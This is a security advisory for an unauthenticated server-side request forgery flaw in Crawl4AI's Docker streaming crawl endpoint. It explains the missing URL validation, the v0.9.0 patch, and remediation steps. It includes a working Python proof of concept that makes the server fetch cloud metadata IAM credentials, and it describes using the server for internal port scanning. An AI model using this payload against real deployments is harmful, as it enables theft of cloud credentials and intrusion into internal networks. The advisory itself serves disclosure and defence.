GHSA-wm69-2pc3-rmmf: Unauthenticated Server-Side Request Forgery in Crawl4AI Docker Streaming Crawl Path

Crawl4AI is an open-source, LLM-friendly web crawler and scraper designed to convert web pages into structured text formats. To facilitate multi-user deployments, the project provides a containerized FastAPI application. The Docker server exposes endpoints that accept scraping requests, allowing remote consumers to execute crawl tasks on target URLs.

The attack surface of the Crawl4AI Docker container is unauthenticated by default. This public exposure necessitates strict validation controls to prevent attackers from using the crawler as a proxy. If a user-supplied target URL is not constrained, the backend crawler can be abused to perform network queries targeting unauthorized locations.

This security posture is compromised when handling streaming crawl operations. Specifically, the POST /crawl/stream endpoint and streaming-configured calls to POST /crawl bypass the internal validation engine. This bypass results in an unauthenticated Server-Side Request Forgery (SSRF) vulnerability. The flaw allows remote attackers to probe internal networks and cloud infrastructure.

The root cause of the vulnerability lies in the structural discrepancy between the streaming and non-streaming request handlers inside the deploy/docker/api.py router. While standard crawler operations route through an input normalization routine that calls validate_url_destination(), the streaming engine does not.

In the vulnerable implementation of deploy/docker/api.py, requests sent directly to /crawl/stream maps to handle_stream_crawl_request(). Similarly, requests sent to /crawl with crawler_config.stream=true are diverted straight to the same streaming handler. The design of handle_stream_crawl_request() processed the raw seed URLs directly, bypassing validation.

This validation gap persisted due to regression testing shortcomings. The existing test suite verified the generic existence of SSRF filtering in some handlers but did not validate coverage across every independent path. Consequently, the streaming controller remained completely exposed to malicious user inputs.

To illustrate the structural omission, we compare the original logic with the patch implemented in version 0.9.0. In the patched state, the development team introduced _normalize_and_validate_seeds() to centralize input filtering and prevent code execution drift across multiple API handlers.

Below is the unified validation wrapper introduced in the patched code. This function ensures that every URL is normalized and subjected to validate_url_destination() before any networking context is initialized:

# Introduced in v0.9.0 inside deploy/docker/api.py
def _normalize_and_validate_seeds(urls: List[str]) -> List[str]:
    """Prefix bare hosts with https:// and SSRF-validate every seed URL's
    destination. Shared by the streaming and non-streaming crawl handlers."""
    urls = [('https://' + url) if not url.startswith(('http://', 'https://')) and not url.startswith(('raw:', 'raw://')) else url for url in urls]
    for url in urls:
        validate_url_destination(url)
    return urls

In the patched version of handle_stream_crawl_request(), the validation is called immediately upon receiving the parameter inputs. This enforces the exact security boundary already established in the standard crawl endpoint:

async def handle_stream_crawl_request(
    urls: List[str],
    browser_config: dict,
    crawler_config: dict,
    config: dict,
    hooks_config: Optional[dict] = None
) -> Tuple[AsyncWebCrawler, AsyncGenerator, Optional[Dict]]:
    """Handle streaming crawl requests with optional hooks."""
    hooks_info = None
    crawler = None
    try:
        # Enforce SSRF validation for streaming sessions
        urls = _normalize_and_validate_seeds(urls)
        # Remaining streaming process continues safely...

Crucially, the SSRF engine (deploy/docker/utils.py) defines blocklists for common internal network ranges. This includes IPv4 private blocks (RFC 1918), local link-local segments (169.254.0.0/16), and standard internal hostnames such as metadata.google.internal and kubernetes.default. Applying _normalize_and_validate_seeds stops the attack because the egress broker resolves DNS queries and rejects blocked IP configurations.

Exploitation requires no authentication or special application states. An attacker can execute the attack by sending a JSON payload directly to the /crawl/stream endpoint on an exposed server. This makes the target host fetch and return restricted local resources.

The attack flow is illustrated in the diagram below, showing how the bypass circumvents validation to access internal assets:

Below is a practical Python proof-of-concept script illustrating the exploitation technique against an unprotected target. The script triggers the streaming endpoint to crawl the cloud instance metadata service:

import requests
 
target_url = 'http://target-crawl4ai-server:11235/crawl/stream'
payload = {
    'urls': ['http://169.254.169.254/latest/meta-data/iam/security-credentials/'],
    'browser_config': {},
    'crawler_config': {}
}
 
response = requests.post(target_url, json=payload, stream=True)
for line in response.iter_lines():
    if line:
        print(line.decode('utf-8'))

The security impact of this vulnerability is classified as High (CVSS 8.6). Because the server acts as an open proxy to access internal domains, the attack scope is changed (S:C). This allows the attacker to cross security boundaries and read data from isolated environments.

A successful exploit compromises confidentiality on a systemic level (C:H). In cloud environments (such as AWS, GCP, or Azure), the metadata server exposes temporary IAM credentials, service tokens, and instance metadata. Attackers can leverage these credentials to compromise broader cloud infrastructure.

Furthermore, attackers can use the unauthenticated container as an internal port scanner. By parsing the response times and HTTP responses from streaming requests, attackers can map out the internal topology. This identifies adjacent microservices, databases, and configuration consoles that are not exposed to the public internet.

Remediation requires upgrading the crawl4ai installation to version 0.9.0 or higher. This version integrates the _normalize_and_validate_seeds() wrapper across all streaming handlers. This blocks the bypass path permanently.

If upgrading is delayed, organizations should restrict container egress traffic. Implement network policies using egress firewalls to prevent the Docker container from initiating outbound connections to RFC 1918 networks (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and the link-local range (169.254.0.0/16).

Additionally, avoid exposing the Crawl4AI Docker server directly to the public internet without an authentication layer. Placing the container behind a reverse proxy, API gateway, or VPN that enforces token-based authorization mitigates the risk of direct exposure.